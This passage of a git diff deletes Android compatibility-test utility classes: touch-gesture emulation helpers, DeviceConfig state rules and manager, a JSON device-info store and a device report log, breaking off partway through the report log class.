-            int touchSlop, int xOnScreen, int yOnScreen) {
-        MotionEvent eventMove = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE,
-                xOnScreen + (touchSlop / 2.0f), yOnScreen + (touchSlop / 2.0f), 1);
-        eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        uiAutomation.injectInputEvent(eventMove, true);
-        eventMove.recycle();
-    }
-
-    private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
-            boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
-            int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
-        final int dragAmountX = dragEndX - dragStartX;
-        final int dragAmountY = dragEndY - dragStartY;
-        final int sleepTime = dragDurationMs / moveEventCount;
-
-        // sleep for a bit to emulate the overall drag gesture.
-        long prevEventTime = downTime;
-        SystemClock.sleep(sleepTime);
-        for (int i = 0; i < moveEventCount; i++) {
-            // Note that the first MOVE event is generated "away" from the coordinates
-            // of the start / DOWN event, and the last MOVE event is generated
-            // at the same coordinates as the subsequent UP event.
-            final int moveX = dragStartX + dragAmountX * (i  + 1) / moveEventCount;
-            final int moveY = dragStartY + dragAmountY * (i  + 1) / moveEventCount;
-            long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
-
-            // If necessary, generate history for our next MOVE event. The history is generated
-            // to be spaced at 10 millisecond intervals, interpolating the coordinates from the
-            // last generated MOVE event to our current one.
-            int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
-            int[] xCoordsForListener = (eventInjectionListener == null) ? null :
-                    new int[Math.max(1, historyEventCount)];
-            int[] yCoordsForListener = (eventInjectionListener == null) ? null :
-                    new int[Math.max(1, historyEventCount)];
-            MotionEvent eventMove = null;
-            if (historyEventCount == 0) {
-                eventMove = MotionEvent.obtain(
-                        downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
-                if (eventInjectionListener != null) {
-                    xCoordsForListener[0] = moveX;
-                    yCoordsForListener[0] = moveY;
-                }
-            } else {
-                final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
-                final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
-                final int deltaMoveX = moveX - prevMoveX;
-                final int deltaMoveY = moveY - prevMoveY;
-                final long deltaTime = (eventTime - prevEventTime);
-                for (int historyIndex = 0; historyIndex < historyEventCount; historyIndex++) {
-                    int stepMoveX = prevMoveX + deltaMoveX * (historyIndex + 1) / historyEventCount;
-                    int stepMoveY = prevMoveY + deltaMoveY * (historyIndex + 1) / historyEventCount;
-                    long stepEventTime = useCurrentEventTime
-                            ? prevEventTime + deltaTime * (historyIndex + 1) / historyEventCount
-                            : downTime;
-                    if (historyIndex == 0) {
-                        // Generate the first event in our sequence
-                        eventMove = MotionEvent.obtain(downTime, stepEventTime,
-                                MotionEvent.ACTION_MOVE, stepMoveX, stepMoveY, 1);
-                    } else {
-                        // and then add to it
-                        eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
-                    }
-                    if (eventInjectionListener != null) {
-                        xCoordsForListener[historyIndex] = stepMoveX;
-                        yCoordsForListener[historyIndex] = stepMoveY;
-                    }
-                }
-            }
-
-            eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-            uiAutomation.injectInputEvent(eventMove, true);
-            if (eventInjectionListener != null) {
-                eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
-            }
-            eventMove.recycle();
-            prevEventTime = eventTime;
-
-            // sleep for a bit to emulate the overall drag gesture.
-            SystemClock.sleep(sleepTime);
-        }
-    }
-
-    private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
-            boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
-            EventInjectionListener eventInjectionListener) {
-        long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
-        MotionEvent eventUp = MotionEvent.obtain(
-                downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
-        eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
-        uiAutomation.injectInputEvent(eventUp, true);
-        if (eventInjectionListener != null) {
-            eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
-        }
-        eventUp.recycle();
-    }
-
-    /**
-     * Emulates a fling gesture across the horizontal center of the passed view.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to fling
-     * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
-     *      be a downwards gesture
-     * @return The vertical amount of emulated fling in pixels
-     */
-    public static int emulateFlingGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view, boolean isDownwardsFlingGesture) {
-        return emulateFlingGesture(instrumentation, activityTestRule,
-                view, isDownwardsFlingGesture, null);
-    }
-
-    /**
-     * Emulates a fling gesture across the horizontal center of the passed view.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to fling
-     * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
-     *      be a downwards gesture
-     * @param eventInjectionListener optional listener to notify about the injected events
-     * @return The vertical amount of emulated fling in pixels
-     */
-    public static int emulateFlingGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view, boolean isDownwardsFlingGesture,
-            EventInjectionListener eventInjectionListener) {
-        final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
-        final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
-                configuration.getScaledMaximumFlingVelocity()) / 2;
-        // Get view coordinates on the screen
-        final int[] viewOnScreenXY = new int[2];
-        view.getLocationOnScreen(viewOnScreenXY);
-
-        // Our fling gesture will be from 25% height of the view to 75% height of the view
-        // for downwards fling gesture, and the other way around for upwards fling gesture
-        final int viewHeight = view.getHeight();
-        final int x = viewOnScreenXY[0] + view.getWidth() / 2;
-        final int startY = isDownwardsFlingGesture ? viewOnScreenXY[1] + viewHeight / 4
-                : viewOnScreenXY[1] + 3 * viewHeight / 4;
-        final int amountY = isDownwardsFlingGesture ? viewHeight / 2 : -viewHeight / 2;
-
-        // Compute fling gesture duration based on the distance (50% height of the view) and
-        // fling velocity
-        final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
-
-        // And do the same event injection sequence as our generic drag gesture
-        emulateDragGesture(instrumentation, activityTestRule,
-                x, startY, 0, amountY, durationMs, durationMs / 16,
-            eventInjectionListener);
-
-        return amountY;
-    }
-
-    private static class ViewStateSnapshot {
-        final View mFirst;
-        final View mLast;
-        final int mFirstTop;
-        final int mLastBottom;
-        final int mChildCount;
-        private ViewStateSnapshot(ViewGroup viewGroup) {
-            mChildCount = viewGroup.getChildCount();
-            if (mChildCount == 0) {
-                mFirst = mLast = null;
-                mFirstTop = mLastBottom = Integer.MIN_VALUE;
-            } else {
-                mFirst = viewGroup.getChildAt(0);
-                mLast = viewGroup.getChildAt(mChildCount - 1);
-                mFirstTop = mFirst.getTop();
-                mLastBottom = mLast.getBottom();
-            }
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (this == o) {
-                return true;
-            }
-            if (o == null || getClass() != o.getClass()) {
-                return false;
-            }
-
-            final ViewStateSnapshot that = (ViewStateSnapshot) o;
-            return mFirstTop == that.mFirstTop &&
-                    mLastBottom == that.mLastBottom &&
-                    mFirst == that.mFirst &&
-                    mLast == that.mLast &&
-                    mChildCount == that.mChildCount;
-        }
-
-        @Override
-        public int hashCode() {
-            int result = mFirst != null ? mFirst.hashCode() : 0;
-            result = 31 * result + (mLast != null ? mLast.hashCode() : 0);
-            result = 31 * result + mFirstTop;
-            result = 31 * result + mLastBottom;
-            result = 31 * result + mChildCount;
-            return result;
-        }
-    }
-
-    /**
-     * Emulates a scroll to the bottom of the specified {@link ViewGroup}.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param viewGroup View group
-     */
-    public static void emulateScrollToBottom(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, ViewGroup viewGroup) {
-        final int[] viewGroupOnScreenXY = new int[2];
-        viewGroup.getLocationOnScreen(viewGroupOnScreenXY);
-
-        final int emulatedX = viewGroupOnScreenXY[0] + viewGroup.getWidth() / 2;
-        final int emulatedStartY = viewGroupOnScreenXY[1] + 3 * viewGroup.getHeight() / 4;
-        final int swipeAmount = viewGroup.getHeight() / 2;
-
-        ViewStateSnapshot prev;
-        ViewStateSnapshot next = new ViewStateSnapshot(viewGroup);
-        do {
-            prev = next;
-            emulateDragGesture(instrumentation, activityTestRule,
-                    emulatedX, emulatedStartY, 0, -swipeAmount, 300, 10);
-            next = new ViewStateSnapshot(viewGroup);
-        } while (!prev.equals(next));
-    }
-
-    /**
-     * Emulates a long press in the center of the passed {@link View}.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to "long press"
-     */
-    public static void emulateLongPressOnViewCenter(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view) {
-        emulateLongPressOnViewCenter(instrumentation, activityTestRule, view, 0);
-    }
-
-    /**
-     * Emulates a long press in the center of the passed {@link View}.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to "long press"
-     * @param extraWaitMs the duration of emulated "long press" in milliseconds starting
-     *      after system-level long press timeout.
-     */
-    public static void emulateLongPressOnViewCenter(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view, long extraWaitMs) {
-        final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
-        // Use instrumentation to emulate a tap on the spinner to bring down its popup
-        final int[] viewOnScreenXY = new int[2];
-        view.getLocationOnScreen(viewOnScreenXY);
-        int xOnScreen = viewOnScreenXY[0] + view.getWidth() / 2;
-        int yOnScreen = viewOnScreenXY[1] + view.getHeight() / 2;
-
-        emulateLongPressOnScreen(instrumentation, activityTestRule,
-                xOnScreen, yOnScreen, touchSlop, extraWaitMs, true);
-    }
-
-    /**
-     * Emulates a long press confirmed on a point relative to the top-left corner of the passed
-     * {@link View}. Offset parameters are used to compute the final screen coordinates of the
-     * press point.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view to "long press"
-     * @param offsetX extra X offset for the tap
-     * @param offsetY extra Y offset for the tap
-     */
-    public static void emulateLongPressOnView(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule, View view, int offsetX, int offsetY) {
-        final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
-        final int[] viewOnScreenXY = new int[2];
-        view.getLocationOnScreen(viewOnScreenXY);
-        int xOnScreen = viewOnScreenXY[0] + offsetX;
-        int yOnScreen = viewOnScreenXY[1] + offsetY;
-
-        emulateLongPressOnScreen(instrumentation, activityTestRule,
-                xOnScreen, yOnScreen, touchSlop, 0, true);
-    }
-
-    /**
-     * Emulates a long press then a linear drag gesture between 2 points across the screen.
-     * This is used for drag selection.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param dragStartX Start X of the emulated drag gesture
-     * @param dragStartY Start Y of the emulated drag gesture
-     * @param dragAmountX X amount of the emulated drag gesture
-     * @param dragAmountY Y amount of the emulated drag gesture
-     */
-    public static void emulateLongPressAndDragGesture(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule,
-            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
-        emulateLongPressOnScreen(instrumentation, activityTestRule, dragStartX, dragStartY,
-                0 /* touchSlop */, 0 /* extraWaitMs */, false /* upGesture */);
-        emulateDragGesture(instrumentation, activityTestRule, dragStartX, dragStartY, dragAmountX,
-                dragAmountY);
-    }
-
-    /**
-     * Emulates a long press on the screen.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param xOnScreen X position on screen for the "long press"
-     * @param yOnScreen Y position on screen for the "long press"
-     * @param extraWaitMs extra duration of emulated long press in milliseconds added
-     *        after the system-level "long press" timeout.
-     * @param upGesture whether to include an up event.
-     */
-    private static void emulateLongPressOnScreen(Instrumentation instrumentation,
-            ActivityTestRule<?> activityTestRule,
-            int xOnScreen, int yOnScreen, int touchSlop, long extraWaitMs, boolean upGesture) {
-        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
-        final long downTime = SystemClock.uptimeMillis();
-
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
-        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
-        if (upGesture) {
-            injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
-        }
-
-        // Wait for the system to process all events in the queue
-        if (activityTestRule != null) {
-            WidgetTestUtils.runOnMainAndDrawSync(activityTestRule,
-                    activityTestRule.getActivity().getWindow().getDecorView(), null);
-        } else {
-            instrumentation.waitForIdleSync();
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
deleted file mode 100644
index a13da52..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateChangerRule.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.DeviceConfig;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * JUnit rule used to set a {@link DeviceConfig} preference before the test is run.
- *
- * <p>It stores the current value before the test, changes it (if necessary), then restores it after
- * the test (if necessary).
- */
-public class DeviceConfigStateChangerRule extends StateChangerRule<String> {
-
-    /**
-     * Default constructor.
-     *
-     * @param context context used to retrieve the {@link DeviceConfig} provider.
-     * @param namespace {@code DeviceConfig} namespace.
-     * @param key prefence key.
-     * @param value value to be set before the test is run.
-     */
-    public DeviceConfigStateChangerRule(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key, @Nullable String value) {
-        this(new DeviceConfigStateManager(context, namespace, key), value);
-    }
-
-    /**
-     * Alternative constructor used when then test case already defines a
-     * {@link DeviceConfigStateManager}.
-     */
-    public DeviceConfigStateChangerRule(@NonNull DeviceConfigStateManager dcsm,
-            @Nullable String value) {
-        super(dcsm, value);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
deleted file mode 100644
index 6f186de..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateKeeperRule.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.provider.DeviceConfig;
-
-import androidx.annotation.NonNull;
-
-/**
- * JUnit rule used to restore a {@link DeviceConfig} preference after the test is run.
- *
- * <p>It stores the current value before the test, and restores it after the test (if necessary).
- */
-public class DeviceConfigStateKeeperRule extends StateKeeperRule<String> {
-
-    /**
-     * Default constructor.
-     *
-     * @param context context used to retrieve the {@link DeviceConfig} provider.
-     * @param namespace {@code DeviceConfig} namespace.
-     * @param key prefence key.
-     */
-    public DeviceConfigStateKeeperRule(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key) {
-        super(new DeviceConfigStateManager(context, namespace, key));
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
deleted file mode 100644
index 040641c..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceConfigStateManager.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-
-import android.content.Context;
-import android.provider.DeviceConfig;
-import android.provider.Settings;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import com.google.common.base.Preconditions;
-
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Manages the state of a preference backed by {@link DeviceConfig}.
- */
-public final class DeviceConfigStateManager implements StateManager<String> {
-
-    private static final String TAG = DeviceConfigStateManager.class.getSimpleName();
-
-    private final Context mContext;
-    private final String mNamespace;
-    private final String mKey;
-
-    /**
-     * Default constructor.
-     *
-     * @param context context used to retrieve the {@link Settings} provider.
-     * @param namespace settings namespace.
-     * @param key prefence key.
-     */
-    public DeviceConfigStateManager(@NonNull Context context, @NonNull String namespace,
-            @NonNull String key) {
-        debug("DeviceConfigStateManager", "namespace=%s, key=%s", namespace, key);
-
-        mContext = Preconditions.checkNotNull(context);
-        mNamespace = Preconditions.checkNotNull(namespace);
-        mKey = Preconditions.checkNotNull(key);
-    }
-
-    @Override
-    public void set(@Nullable String value) {
-        debug("set", "new value is %s", value);
-        runWithShellPermissionIdentity(() -> setWithPermissionsGranted(value),
-                "android.permission.READ_DEVICE_CONFIG", "android.permission.WRITE_DEVICE_CONFIG");
-    }
-
-    private void setWithPermissionsGranted(@Nullable String value) {
-        final OneTimeDeviceConfigListener listener = new OneTimeDeviceConfigListener(mNamespace,
-                mKey);
-        DeviceConfig.addOnPropertiesChangedListener(mNamespace, mContext.getMainExecutor(),
-                listener);
-
-        DeviceConfig.setProperty(mNamespace, mKey, value, /* makeDefault= */ false);
-        listener.assertCalled();
-    }
-
-    @Override
-    @Nullable
-    public String get() {
-        final AtomicReference<String> reference = new AtomicReference<>();
-        runWithShellPermissionIdentity(()
-                -> reference.set(DeviceConfig.getProperty(mNamespace, mKey)),
-                "android.permission.READ_DEVICE_CONFIG");
-        debug("get", "returning %s", reference.get());
-
-        return reference.get();
-    }
-
-    private void debug(@NonNull String methodName, @NonNull String msg, Object...args) {
-        if (!Log.isLoggable(TAG, Log.DEBUG)) return;
-
-        final String prefix = String.format("%s(%s:%s): ", methodName, mNamespace, mKey);
-        Log.d(TAG, prefix + String.format(msg, args));
-    }
-
-    @Override
-    public String toString() {
-        return "DeviceConfigStateManager[namespace=" + mNamespace + ", key=" + mKey + "]";
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
deleted file mode 100644
index 03f69fa..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
+++ /dev/null
@@ -1,260 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.util.JsonWriter;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
-import java.util.List;
-
-public class DeviceInfoStore extends InfoStore {
-
-    protected File mJsonFile;
-    protected JsonWriter mJsonWriter = null;
-
-    public DeviceInfoStore() {
-        mJsonFile = null;
-    }
-
-    public DeviceInfoStore(File file) throws Exception {
-        mJsonFile = file;
-    }
-
-    /**
-     * Opens the file for storage and creates the writer.
-     */
-    @Override
-    public void open() throws IOException {
-        FileOutputStream out = new FileOutputStream(mJsonFile);
-        mJsonWriter = new JsonWriter(new OutputStreamWriter(out, StandardCharsets.UTF_8));
-        // TODO(agathaman): remove to make json output less pretty
-        mJsonWriter.setIndent("  ");
-        mJsonWriter.beginObject();
-    }
-
-    /**
-     * Closes the writer.
-     */
-    @Override
-    public void close() throws Exception {
-        mJsonWriter.endObject();
-        mJsonWriter.flush();
-        mJsonWriter.close();
-    }
-
-    /**
-     * Start a new group of result.
-     */
-    @Override
-    public void startGroup() throws IOException {
-        mJsonWriter.beginObject();
-    }
-
-    /**
-     * Start a new group of result with specified name.
-     */
-    @Override
-    public void startGroup(String name) throws IOException {
-        mJsonWriter.name(name);
-        mJsonWriter.beginObject();
-    }
-
-    /**
-     * Complete adding result to the last started group.
-     */
-    @Override
-    public void endGroup() throws IOException {
-        mJsonWriter.endObject();
-    }
-
-    /**
-     * Start a new array of result.
-     */
-    @Override
-    public void startArray() throws IOException {
-        mJsonWriter.beginArray();
-    }
-
-    /**
-     * Start a new array of result with specified name.
-     */
-    @Override
-    public void startArray(String name) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.beginArray();
-    }
-
-    /**
-     * Complete adding result to the last started array.
-     */
-    @Override
-    public void endArray() throws IOException {
-        mJsonWriter.endArray();
-    }
-
-    /**
-     * Adds a int value to the InfoStore
-     */
-    @Override
-    public void addResult(String name, int value) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.value(value);
-    }
-
-    /**
-     * Adds a long value to the InfoStore
-     */
-    @Override
-    public void addResult(String name, long value) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.value(value);
-    }
-
-    /**
-     * Adds a float value to the InfoStore
-     */
-    @Override
-    public void addResult(String name, float value) throws IOException {
-        addResult(name, (double) value);
-    }
-
-    /**
-     * Adds a double value to the InfoStore
-     */
-    @Override
-    public void addResult(String name, double value) throws IOException {
-        checkName(name);
-        if (isDoubleNaNOrInfinite(value)) {
-            return;
-        } else {
-            mJsonWriter.name(name);
-            mJsonWriter.value(value);
-        }
-    }
-
-    /**
-     * Adds a boolean value to the InfoStore
-     */
-    @Override
-    public void addResult(String name, boolean value) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.value(value);
-    }
-
-    /**
-     * Adds a String value to the InfoStore
-     */
-    @Override
-    public void addResult(String name, String value) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.value(checkString(value));
-    }
-
-    /**
-     * Adds a int array to the InfoStore
-     */
-    @Override
-    public void addArrayResult(String name, int[] array) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.beginArray();
-        for (int value : checkArray(array)) {
-            mJsonWriter.value(value);
-        }
-        mJsonWriter.endArray();
-    }
-
-    /**
-     * Adds a long array to the InfoStore
-     */
-    @Override
-    public void addArrayResult(String name, long[] array) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.beginArray();
-        for (long value : checkArray(array)) {
-            mJsonWriter.value(value);
-        }
-        mJsonWriter.endArray();
-    }
-
-    /**
-     * Adds a float array to the InfoStore
-     */
-    @Override
-    public void addArrayResult(String name, float[] array) throws IOException {
-        double[] doubleArray = new double[array.length];
-        for (int i = 0; i < array.length; i++) {
-            doubleArray[i] = array[i];
-        }
-        addArrayResult(name, doubleArray);
-    }
-
-    /**
-     * Adds a double array to the InfoStore
-     */
-    @Override
-    public void addArrayResult(String name, double[] array) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.beginArray();
-        for (double value : checkArray(array)) {
-            if (isDoubleNaNOrInfinite(value)) {
-                continue;
-            }
-            mJsonWriter.value(value);
-        }
-        mJsonWriter.endArray();
-    }
-
-    /**
-     * Adds a boolean array to the InfoStore
-     */
-    @Override
-    public void addArrayResult(String name, boolean[] array) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.beginArray();
-        for (boolean value : checkArray(array)) {
-            mJsonWriter.value(value);
-        }
-        mJsonWriter.endArray();
-    }
-
-    /**
-     * Adds a List of String to the InfoStore
-     */
-    @Override
-    public void addListResult(String name, List<String> list) throws IOException {
-        checkName(name);
-        mJsonWriter.name(name);
-        mJsonWriter.beginArray();
-        for (String value : checkStringList(list)) {
-            mJsonWriter.value(checkString(value));
-        }
-        mJsonWriter.endArray();
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
deleted file mode 100644
index d170263..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ /dev/null
@@ -1,283 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Environment;
-import android.util.Log;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.List;
-
-/**
- * Handles adding results to the report for device side tests.
- *
- * NOTE: tests MUST call {@link #submit(Instrumentation)} if and only if the test passes in order to
- * send the results to the runner.
- */
-public class DeviceReportLog extends ReportLog {
-    private static final String TAG = DeviceReportLog.class.getSimpleName();
-    private static final String RESULT = "COMPATIBILITY_TEST_RESULT";
-    private static final int INST_STATUS_ERROR = -1;
-    private static final int INST_STATUS_IN_PROGRESS = 2;
-
-    private ReportLogDeviceInfoStore store;
-
-    public DeviceReportLog(String reportLogName, String streamName) {
-        this(reportLogName, streamName,
-                new File(Environment.getExternalStorageDirectory(), "report-log-files"));
-    }
-
-    public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
-        super(reportLogName, streamName);
-        try {
-            // dir value must match the src-dir value configured in ReportLogCollector target
-            // preparer in cts/harness/tools/cts-tradefed/res/config/cts-preconditions.xml
-            if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
-                throw new IOException("External storage is not mounted");
-            } else if ((!logDirectory.exists() && !logDirectory.mkdirs())
-                    || (logDirectory.exists() && !logDirectory.isDirectory())) {
-                throw new IOException("Cannot create directory for device info files");
-            } else {
-                File jsonFile = new File(logDirectory, mReportLogName + ".reportlog.json");
-                store = new ReportLogDeviceInfoStore(jsonFile, mStreamName);
-                store.open();
-            }
-        } catch (Exception e) {
-            Log.e(TAG, "Could not create report log file.", e);
-        }
-    }
-
-    /**
-     * Adds a double metric to the report.
-     */
-    @Override
-    public void addValue(String source, String message, double value, ResultType type,
-            ResultUnit unit) {
-        super.addValue(source, message, value, type, unit);
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a double metric to the report.
-     */
-    @Override
-    public void addValue(String message, double value, ResultType type, ResultUnit unit) {
-        super.addValue(message, value, type, unit);
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a double array of metrics to the report.
-     */
-    @Override
-    public void addValues(String source, String message, double[] values, ResultType type,
-            ResultUnit unit) {
-        super.addValues(source, message, values, type, unit);
-        try {
-            store.addArrayResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a double array of metrics to the report.
-     */
-    @Override
-    public void addValues(String message, double[] values, ResultType type, ResultUnit unit) {
-        super.addValues(message, values, type, unit);
-        try {
-            store.addArrayResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds an int metric to the report.
-     */
-    @Override
-    public void addValue(String message, int value, ResultType type, ResultUnit unit) {
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a long metric to the report.
-     */
-    @Override
-    public void addValue(String message, long value, ResultType type, ResultUnit unit) {
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a float metric to the report.
-     */
-    @Override
-    public void addValue(String message, float value, ResultType type, ResultUnit unit) {
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a boolean metric to the report.
-     */
-    @Override
-    public void addValue(String message, boolean value, ResultType type, ResultUnit unit) {
-        try {
-            store.addResult(message, value);
